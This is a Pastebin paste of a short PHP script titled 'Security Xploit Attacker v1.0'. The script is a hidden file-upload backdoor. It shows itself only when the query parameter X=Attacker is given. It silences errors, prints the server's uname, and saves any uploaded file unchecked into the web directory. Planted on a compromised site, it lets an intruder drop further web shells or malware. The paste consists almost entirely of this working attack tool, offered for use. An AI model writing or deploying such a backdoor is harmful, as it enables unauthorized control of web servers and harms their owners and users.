Advertisement
Guest User

Security Xploit Attacker v1.0

a guest
Oct 23rd, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.93 KB | None | 0 0
  1. <html>
  2. <!--Security Xploit Attacker v1.0 -->
  3. <title>Security Xploit Attacker v1.0</title>
  4. </html>
  5.  
  6. <?php
  7.  
  8. error_reporting(0);
  9. set_time_limit(0);
  10.  
  11. if($_GET['X']=="Attacker"){
  12. echo "<center><b>Uname:".php_uname()."<br></b>";
  13. echo '<font color="black" size="4">';
  14. if(isset($_POST['Submit'])){
  15. $filedir = "";
  16. $maxfile = '2000000';
  17. $mode = '0644';
  18. $userfile_name = $_FILES['image']['name'];
  19. $userfile_tmp = $_FILES['image']['tmp_name'];
  20. if(isset($_FILES['image']['name'])) {
  21. $qx = $filedir.$userfile_name;
  22. @move_uploaded_file($userfile_tmp, $qx);
  23. @chmod ($qx, octdec($mode));
  24. echo" <a href=$userfile_name><center><b>Sucess Upload :D ==> $userfile_name</b></center></a>";
  25. }
  26. }
  27. else{
  28. echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
  29. }
  30. echo '</center></font>';
  31.  
  32. }
  33. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement